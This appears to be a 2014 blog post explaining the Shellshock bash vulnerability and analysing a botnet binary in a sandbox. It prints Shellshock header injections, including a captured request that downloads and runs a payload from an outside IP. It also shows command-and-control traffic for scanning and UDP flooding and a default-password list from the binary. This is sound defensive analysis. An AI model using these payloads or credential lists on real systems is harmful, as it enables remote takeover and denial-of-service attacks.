A new vulnerability has come to existence today, affecting the well known bash software widely present in every nix distribution. The vulnerability by the name of cve-2014-6271, better known under the name of shell shock (in reference to the reaction of some soldiers during WWI) scored 10 in both impacts and exploitability as it allows remote code exploitation and is pretty darn easy to exploit. As soon as the vulnerability has been released to the mad crowd populating the Internet, some exploits have already been released to take advantage of the pernicious flaw, scanning the entire web and turning innoffensive computers into deadly zombies.

Some system administrators already noticed the presence of suspicious activity in the apache log such as this one. Here we can see that it exploits the vulnerability by remotely downloading and executing a malware, here known as "nginx". First we are going to describe the vulnerability and how it can be exploited and we will proceed with a behavioral analysis of this malware.

I. Description of the vulnerability

The exploit simply consists of defining a function in an environment variable quickly followed by some commands and then spawning a child bash process. To know if you are vulnerable to the bug simply run the following:

 marlinski@be$ x='() { :;}; echo vulnerable' bash -c "echo coucou"
 vulnerable
 coucou

If you got a "vulnerable" as in the example, then your bash is exploitable. So what does that mean really ? It means that whoever successfully injects '() { :;}; <some code>' into an environment variable and manages to spawn a shell can basically do whatever he wants with your machine. Take Apache for instance, if you use a cgi bash file to render your HTML, then there is a big chance that your server is remotely exploitable. Take this command for instance;

 marlinski@be$ curl -A "() { :;}; echo vulnerable" http://vulnerable.com/index.cgi

A number of HTTP headers are set as environment variables to be fed to the cgi script. In this example the user agent string is fed to bash which in turns runs the payload "echo vulnerable". Now bear in mind that it can run whatever we want ! Let's take for instance this small cgi script which only print out the environment variables it has been fed with:

 #!/bin/bash
 echo "Content-type: text/html"
 echo ""
 echo "<html><head><title>CGI script</title></head>"
 echo "<body>"
 echo "A basic CGI script"
 env
 echo "</body></html>

now the result of a simple curl gives us the following :

 marlinski@be$ curl http://127.0.0.1/cgi/index.sh 80
 <html><head><title>CGI script</title></head>
 <html><head><title>CGI script</title></head>"
 <body>
 HTTP_USER_AGENT=curl/7.38.0
 HTTP_HOST=127.0.0.1
 SERVER_PORT=80
 DOCUMENT_ROOT=/srv/http
 SCRIPT_FILENAME=/srv/http/cgi/index.sh
 REQUEST_URI=/cgi/index.sh
 SCRIPT_NAME=/cgi/index.sh
 REMOTE_PORT=51925
 PWD=/srv/http/cgi
 REDIRECT_STATUS=200
 HTTP_ACCEPT=*/*
 REMOTE_ADDR=127.0.0.1
 SHLVL=1
 SERVER_NAME=127.0.0.1
 CONTENT_LENGTH=0
 SERVER_SOFTWARE=lighttpd/1.4.35
 SERVER_ADDR=0.0.0.0
 GATEWAY_INTERFACE=CGI/1.1
 SERVER_PROTOCOL=HTTP/1.1
 REQUEST_METHOD=GET
 _=/usr/bin/env
 </body></html>

It is extremely easy to exploit the bug because we can inject the payload in about any header we want, HTTPUSERAGENT seems the most straightforward but we could also use the cookie, the referer etc. Looking at my own apache log I can see that I have already been scanned by a pretty inocuous exploit:

  marlinski@server$ find /var/log/apache2/ -type f -name "*access*log" -exec  grep "{ :;};"  '{}' \;
89.207.135.125 - - [25/Sep/2014:14:19:14 +0200] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 299 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"

This one only tries to detect wether my server is vulnerable and sends back a ping to 198.101.206.138 if it is the case. I guess this one might be similar to http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html and is only trying to count the number of vulnerable servers on the Internet. However, as stated in introduction, a much less inocuous attack is being perpetrated over millions of server as we speak, as detected by an anonymous fellow on the following link

GET./.HTTP/1.0
.User-Agent:.Thanks-Rob
.Cookie:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh;
.Host:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh;
.Referer:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh;
.Accept:.*/*

Here, the payload exploits different header (cookie, host, referer, user-agent) and downloads from the address 162.253.66.76 a program called nginx, puts it into /tmp/besh and eventually executes it. In the following section we will purposely run the mysterious program to understand what it does.

II. Analysis of the "nginx" exploit

setting up the Virtual Machine

In order to analyse nginx, i created a virtual machine with qemu in which I installed a simple debian.

  marlinski@be$ qemu-img create -f qcow2 sandbox.img 3G
  marlinski@be$ qemu-system-i386 -usb debian-7.6.0-i386-netinst.iso -hda sandbox.img
  [... installation of debian ...]
  marlinski@be$ qemu-system-i386 -hda sandbox.img -redir tcp:2222::22 -boot d

The default networking backend for qemu is called SLIRP. In this network configuration, the guest is not accessible from the host or the external network and is basically NATed to access to the Internet. The -redir option enables a redirection of a host port to the guest port ; here I made accessible the guest SSH service (TCP port 22) to the host through the TCP port 2222.

setting up the working environment

Now I log onto the sandbox VM with SSH and starts a screen session to download and run the nginx software with strace to trace the system calls called by the program. I also take care to log my screen session with C^a-H. Meanwhile, a wireshark on the host will track the network connexions made by the guest (and thus by the mysterious "nginx" program).

results

Alright we are pretty set now, let's launch nginx:

 guest@debian-i386:~$ wget http://162.253.66.76/nginx
 guest@debian-i386:/home/guest$ md5sum nginx
 5924bcc045bb7039f55c6ce29234e29a  nginx
 guest@debian-i386:/home/guest$ sha256sum nginx
 73b0d95541c84965fa42c3e257bb349957b3be626dec9d55efcc6ebcba6fa489  nginx
 guest@debian-i386:/home/guest$ sha512sum nginx
 18b8f55168327685c28a8bf6c659141cdd995f27b49b53f086e0451818f3671a7e7fc3045efb495cd8060a17931c26b71394b2084b1e96610191a57d86596d8b  nginx


 guest@debian-i386:~$ chmod +x nginx
 guest@debian-i386:~$ strace ./nginx
 execve("./nginx", ["./nginx"], [/* 19 vars */]) = 0
 uname({sys="Linux", node="debian-i386", ...}) = 0
 brk(0)                                  = 0x95fa000
 brk(0x95face0)                          = 0x95face0
 set_thread_area({entry_number:-1 -> 6, base_addr:0x95fa840, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
 brk(0x961bce0)                          = 0x961bce0
 brk(0x961c000)                          = 0x961c000
 time(NULL)                              = 1411647397
 getpid()                                = 2308
 time(NULL)                              = 1411647397
 socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 3
 connect(3, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("108.162.197.26")}, 16) = 0
 getsockname(3, {sa_family=AF_INET, sin_port=htons(37027), sin_addr=inet_addr("10.0.2.15")}, [16]) = 0
 open("/proc/net/route", O_RDONLY)       = 4
 [...]
 close(4)
 ioctl(3, SIOCGIFHWADDR, {ifr_name="eth0", ifr_hwaddr=52:54:00:12:34:56}) = 0
 close(3)
 [...]
 clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x95fa8a8) = 2309
 waitpid(2309, [{WIFEXITED(s) && WEXITSTATUS(s) == 0}], 0) = 2309
 --- SIGCHLD (Child exited) @ 0 (0) ---
 exit_group(0)                           = ?
 guest@debian-i386:~$

I took care to run some md5sum and shasum and can safely state that it is the exact same copy than those being reported by other fellow netizens. The program gathers some information about the current OS in which it sits. The program uses the uname command to knows the architecture (x86) as well as the system (Linux) and also get to know the route and the MAC address of the server (cat /proc/net/route and the calls to the SIOCGIFHWADDR ioctl). We will see later that it will returns some of the information to a remote server. It also allocates more memory with brk syscalls. It seems to open a UDP connexion to 108.162.197.26 on port 80 which is a cloudflare IP:

  guest@debian-i386:~$ whois 108.162.197.26 
  [...]  
  NetRange:       108.162.192.0 - 108.162.255.255
  CIDR:           108.162.192.0/18
  OriginAS:       AS13335
  NetName:        CLOUDFLARENET
  NetHandle:      NET-108-162-192-0-1
  Parent:         NET-108-0-0-0-0
  NetType:        Direct Assignment
  Comment:        http://www.cloudflare.com
  RegDate:        2011-10-28
  Updated:        2012-03-02
  Ref:            http://whois.arin.net/rest/net/NET-108-162-192-0-1
  [...]  

Oddly enough, I don't see any packet sent or received to/from this IP with Wireshark. Let's keep going, the following is more interesting, it then spawns a child process and exit its parent, thus the returning strace. Looking at the wireshark, the child process connects to a remote server 89.238.150.154 on the TCP port 5 and starts exchanging some packets:

The IP this time seems to be hosted in UK by a company named Open Hosting so I guess that the machine has been rented for the purpose of this malicious attack:

 # whois 89.238.150.154 

 inetnum:        89.238.150.0 - 89.238.150.255
 netname:        OH-BLOCK
 descr:          Open Hosting
 country:        GB
 admin-c:        OHT-RIPE
 tech-c:         OHT-RIPE
 status:         Assigned PA
 mnt-by:         OHT-MAINT
 source:         RIPE # Filtered

So let's see what are the message exchanged between our VM and this remote server, we use wireshark to follow the TCP stream to do so. Hopefully for us, the message are plain text and quiet self-explanatory.

 > BUILD X86
 < PING
 > PONG
 > PING
 < PONG
 < PING
 > PONG
 < !* SCANNER ON
 > PING
 < PONG
 [...]
 < PING
 > PONG
 < !* UDP 69.31.20.67 80 50 32 350 10
 > UDP Flooding 69.31.20.67:80 for 50 seconds.
 > PING
 < PONG
 < !* KILLATTK
 > None Killed.
 < !* UDP 178.172.239.241 80 50 32 350 10
 > UDP Flooding 178.172.239.241:80 for 50 seconds.
 > PING
 < PONG
 < !* SCANNER ON
 < PING
 > PONG
 < !* KILLATTK
 > None Killed.
 > PING
 < PONG
 < !* KILLATTK
 > None Killed.
 < PING
 > PONG
 < !* UDP 178.172.239.241 80 50 32 350 10
 > UDP Flooding 178.172.239.241:80 for 50 seconds.
 [...]

This gives very little doubt about the purpose of this program. It clearly is a program designed to perform scanning and flooding on command, also known as a C&C. Running this program a few minutes I noted the following orders from the remote server:

PING / PONG

The PING/PONG exchange enables both the nginx program and the server to keep the connection open and to query wether the connection has been abruptly closed or not. A funny thing though is that the PING is sent alternatly by the server and the client. It seems that the one who answers the PONG will later be the one sending the PING.

SCANNER ON

When the client receives the Scanner order, it starts scanning an IP range by sending TCP SYN packet to the port 23. The first scan scanned the following networks (7 times each):

 - 150.80.234.0 - 150.80.234.255
 - 200.37.47.0 - 200.37.47.85

The other call to SCANNER ON however did not triggered any scanning. What buzz me is that I didn't find any packet that would have set the range to be scanned so I have to assume that it was hardcoded.

UDP Flooding

The UDP flooding command is sent with 6 parameters, respectively:

 - The IP
 - the UDP Port 
 - the length of the flood in seconds
 - rate ?
 - the size of the payload (UDP data)
 - ?

The flood consists on simple UDP packet containing some dummy data (sometimes 0 data). For instance the following DATA has been used to flood some IPs

MKOYYKQCMMAUIUYCGSSEQSGCWOAMUIKMOYKKKIOKSGOAGCMOYEECGIOUGUYWEUYWEWYASUAUQQYOQUYMUUKMWSMKUIKMUUEQKGQKSSKGGGOOWGGCIEKMCEWYGIOYCKEWOGWYGYAKKSUCAMCASSAQOACOMWUEYGAIOKIUKWIKMYQASYECIOCOWAGYIUMSWKMESIOSMGEIIMQCICSEOMGYAGYKMWCWKKUIYSSAGSCOUQCCQGKKKUAMCEOGYWIYGIQOKGWWKOQGASAAMEIWKQEIIEWGSUEYACQIECAWAMMUWSUWIGYSWQSEISSMQQCYUGMMMYCKEAGIYSOAECIUUEWUYGOKGUW

Looking into the binary

  guest@debian-i386:~$ strings nginx | grep -C 50 SCANNER
  [...]
  108.162.197.26
  /proc/net/route
  00000000        
  /proc/cpuinfo
  BOGOMIPS
  /bin/sh
  (null)
  %d.%d.%d.%d
  %d.%d.%d.0
  buf: %s
  Failed opening raw socket.
  Failed setting raw headers mode.
  Invalid flag "%s"
  ogin:
  assword:
  ncorrect
  /bin/busybox;echo -e '\147\141\171\146\147\164'
  gayfgt
  multi-call
  REPORT %s:%s:%s
  REPORT %s:%s:
  PING
  PONG!
  GETLOCALIP
  My IP: %s
  SCANNER
  SCANNER ON | OFF
  HOLD
  HOLD Flooding %s:%d for %d seconds.
  JUNK
  JUNK Flooding %s:%d for %d seconds.
  UDP Flooding %s for %d seconds.
  UDP Flooding %s:%d for %d seconds.
  TCP Flooding %s for %d seconds.
  KILLATTK
  Killed %d.
  None Killed.
  LOLNOGTFO
  recv: %s
  MAC: %02X:%02X:%02X:%02X:%02X:%02X
  Failed to connect...
  BUILD %s
  PONG
  %s 2>&1
  Link closed by server.
  89.238.150.154:5
  :>%$#
  root
  admin
  user
  login
  guest
  toor
  changeme
  1234
  12345
  123456
  default
  pass
  password
  [...]

The commands possible seems to be the following

Commands Goal
PING Request
PONG Answer
SCANNER ON Scan an IP Range
UDP Flooding send UDP packet to a remote victim
TCP Flooding Send TCP packets to a remote victim
HOLD pause a flood procedure (I guess)
JUNK Flooding flood
LOLNOGTFO lol wut ?
KILLATTK I don't know
REPORT probably reporting scanned IP or statistics
GETLOCALIP get local IP

the program seems also design for embedded Linux such as the one we find onto routers. It seems to be able to run busybox, and try multiple default password (root, toorm 1234, 12345, etc.). Also we can see that the IP are hardcoded in the program so as soon as the commander is down this program won't work anymore. Right now, the command doesn't answer anynmore so the program is not a threat anymore.

Conclusion

Through this short analysis we have investigated how the nginx virus operates. It depends on a commander to receive orders and seems limited to a short set of order from scanning to flooding. The IP being hardcoded, it is unlikely that this program represents a threat on the long term. The commander stopped answering the PING request since 24 September 2014 around 18:00 (UTC+1).